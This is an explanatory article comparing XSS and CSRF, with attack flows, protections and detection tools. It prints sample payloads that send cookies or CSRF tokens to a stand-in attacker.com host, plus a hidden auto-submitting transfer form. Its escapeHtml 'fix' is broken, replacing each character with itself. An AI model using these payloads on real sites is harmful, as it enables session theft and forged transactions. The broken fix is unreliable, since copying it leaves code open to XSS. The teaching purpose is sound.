Answer
XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are two common web security vulnerabilities that differ fundamentally in attack principles, attack methods, and protection strategies. Understanding the differences between these two is crucial for building secure web applications.
Core Differences Between XSS and CSRF
1. Attack Principle
XSS (Cross-Site Scripting):
- Attackers inject malicious scripts into the victim's browser
- Malicious scripts execute in the victim's browser context
- Attackers can access the victim's Cookie, LocalStorage, Session, etc.
CSRF (Cross-Site Request Forgery):
- Attackers trick victims into sending requests to target websites
- Requests are automatically sent in the victim's browser, carrying the victim's authentication information
- Attackers cannot directly access the victim's Cookie or Session
2. Attack Target
XSS:
- Target is the victim's browser
- Exploits the browser's trust in injected scripts
- Attackers can execute arbitrary JavaScript code
CSRF:
- Target is the target website's API or form
- Exploits the website's trust in user browser authentication
- Attackers can only send specific HTTP requests
3. Attack Method
XSS Attack Example:
javascript// Attacker injects malicious script in comment section <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>
CSRF Attack Example:
html<!-- Attacker constructs malicious page --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">
4. Attacker Capabilities
XSS:
- Can read and modify DOM
- Can access Cookie (non-HttpOnly)
- Can access LocalStorage and SessionStorage
- Can send arbitrary AJAX requests
- Can execute arbitrary JavaScript code
CSRF:
- Can only send HTTP requests
- Cannot read response content
- Cannot access Cookie
- Cannot execute JavaScript code
- Limited by same-origin policy
Detailed Comparison Table
| Feature | XSS | CSRF |
|---|---|---|
| Full Name | Cross-Site Scripting | Cross-Site Request Forgery |
| Chinese Name | 跨站脚本攻击 | 跨站请求伪造 |
| Attack Principle | Inject malicious script into victim's browser | Trick victim into sending forged request |
| Attack Target | Victim's browser | Target website's API/form |
| Attacker Capabilities | Execute arbitrary JavaScript code | Only send HTTP requests |
| Access Cookie | Can access non-HttpOnly Cookie | Automatically carries all Cookies |
| Read Response | Can read response content | Cannot read response content |
| Same-Origin Policy | Can bypass same-origin policy | Limited by same-origin policy |
| Protection Focus | Input validation, output encoding, CSP | CSRF Token, SameSite Cookie |
| Severity | High (can completely control browser) | Medium (can only send specific requests) |
XSS Attack Details
Attack Flow
- Attacker discovers XSS vulnerability
- Attacker constructs malicious script
- Attacker injects malicious script into target website
- Victim visits the injected page
- Malicious script executes in victim's browser
- Attacker steals data or performs malicious operations
Attack Types
- Stored XSS: Malicious script stored in server database
- Reflected XSS: Malicious script passed through URL parameters
- DOM-based XSS: Malicious script executed through DOM manipulation
Protection Measures
- Input Validation: Strictly validate all user input
- Output Encoding: Properly encode all output
- Content Security Policy: Limit resource sources
- HttpOnly Cookie: Prevent JavaScript from accessing Cookie
- Use Safe DOM APIs: Avoid using
innerHTML, etc.
CSRF Attack Details
Attack Flow
- User logs into target website (e.g., bank website)
- User visits attacker's malicious website
- Malicious website sends request to target website
- Browser automatically carries user's authentication information
- Target website executes request, thinking it's the user's legitimate operation
Attack Types
- GET Request CSRF: Send GET requests through
<img>,<script>tags - POST Request CSRF: Automatically submit POST requests through hidden forms
- JSON CSRF: Attack by constructing JSON format requests
Protection Measures
- CSRF Token: Add random Token to requests
- SameSite Cookie: Limit cross-site Cookie sending
- Verify Referer/Origin: Check request source
- Custom Header: Add custom request headers
- Double Submit Cookie: Put Token in both Cookie and request parameters
Real Code Examples
XSS Attack Example
Stored XSS:
javascript// Unsafe code app.post('/comment', (req, res) => { const comment = req.body.comment; db.save(comment); // Direct save, no validation }); app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(comments.join('')); // Direct output, no encoding }); // Attacker submits POST /comment { "comment": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" }
Fix:
javascript// Safe code function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } app.get('/comments', (req, res) => { const comments = db.getAll(); const encodedComments = comments.map(c => escapeHtml(c)).join(''); res.send(encodedComments); });
CSRF Attack Example
Unsafe Code:
javascript// Transfer API without CSRF protection app.post('/transfer', (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; // Get user ID from Session // Execute transfer bank.transfer(userId, to, amount); res.json({ success: true }); }); // Attacker's malicious page <html> <body> <form action="http://bank.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script> document.forms[0].submit(); </script> </body> </html>
Fix:
javascript// Use CSRF Token protection const csrf = require('csurf'); const csrfProtection = csrf({ cookie: true }); app.get('/transfer', csrfProtection, (req, res) => { res.json({ csrfToken: req.csrfToken() }); }); app.post('/transfer', csrfProtection, (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; bank.transfer(userId, to, amount); res.json({ success: true }); }); // Frontend code fetch('/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ to, amount }) });
XSS and CSRF Combined Attacks
Attackers may simultaneously exploit XSS and CSRF vulnerabilities for more complex attacks:
Attack Scenario:
- Attacker steals CSRF Token through XSS
- Use stolen Token to initiate CSRF attack
- Bypass CSRF protection mechanism
Example:
javascript// XSS script steals CSRF Token const csrfToken = document.querySelector('meta[name="csrf-token"]').content; fetch('http://attacker.com/steal?token=' + csrfToken); // Attacker uses stolen Token to initiate CSRF attack fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': stolenToken }, body: JSON.stringify({ to: 'attacker', amount: 10000 }) });
Protection Strategy Comparison
XSS Protection Strategy
-
Input Validation
- Whitelist validation
- Data type validation
- Length limit
-
Output Encoding
- HTML encoding
- JavaScript encoding
- URL encoding
- CSS encoding
-
Content Security Policy
- Limit script sources
- Prohibit inline scripts
- Prohibit eval
-
HttpOnly Cookie
- Prevent JavaScript from accessing Cookie
-
Safe DOM Operations
- Use textContent instead of innerHTML
- Avoid using document.write
CSRF Protection Strategy
-
CSRF Token
- Randomly generate Token
- Verify Token validity
- One-time use of Token
-
SameSite Cookie
- Strict: Completely don't send cross-site Cookies
- Lax: Partially send cross-site Cookies
- None: Allow sending cross-site Cookies (requires Secure)
-
Verify Referer/Origin
- Check request source
- Whitelist validation
-
Custom Header
- Add custom request headers
- Verify Header validity
-
Double Submit Cookie
- Token in both Cookie and request parameters
- Verify if both match
Detection Methods
XSS Detection
-
Manual Testing
- Inject
<script>alert(1)</script>in input fields - Check if it executes
- Inject
-
Automated Scanning
- OWASP ZAP
- Burp Suite
- XSStrike
-
Code Audit
- Check all user input points
- Check if output points are encoded
CSRF Detection
-
Manual Testing
- Construct cross-site request
- Check if it executes
-
Automated Scanning
- CSRFTester
- OWASP ZAP
-
Code Audit
- Check if there is CSRF Token
- Check SameSite Cookie settings
Summary
XSS and CSRF are two different but equally dangerous web security vulnerabilities:
Core Characteristics of XSS:
- Attackers can execute arbitrary JavaScript code
- Can access and modify data in the browser
- Higher severity, stronger attacker capabilities
- Protection focus: Input validation, output encoding, CSP
Core Characteristics of CSRF:
- Attackers can only send HTTP requests
- Cannot access response content or browser data
- Medium severity, limited attacker capabilities
- Protection focus: CSRF Token, SameSite Cookie
Best Practices:
- Protect against both XSS and CSRF simultaneously
- Implement multi-layered defense strategies
- Regularly conduct security audits and penetration testing
- Use security frameworks and libraries
- Strengthen developer security awareness
By understanding the differences between XSS and CSRF and taking appropriate protection measures, web applications can be effectively protected from these common security threats.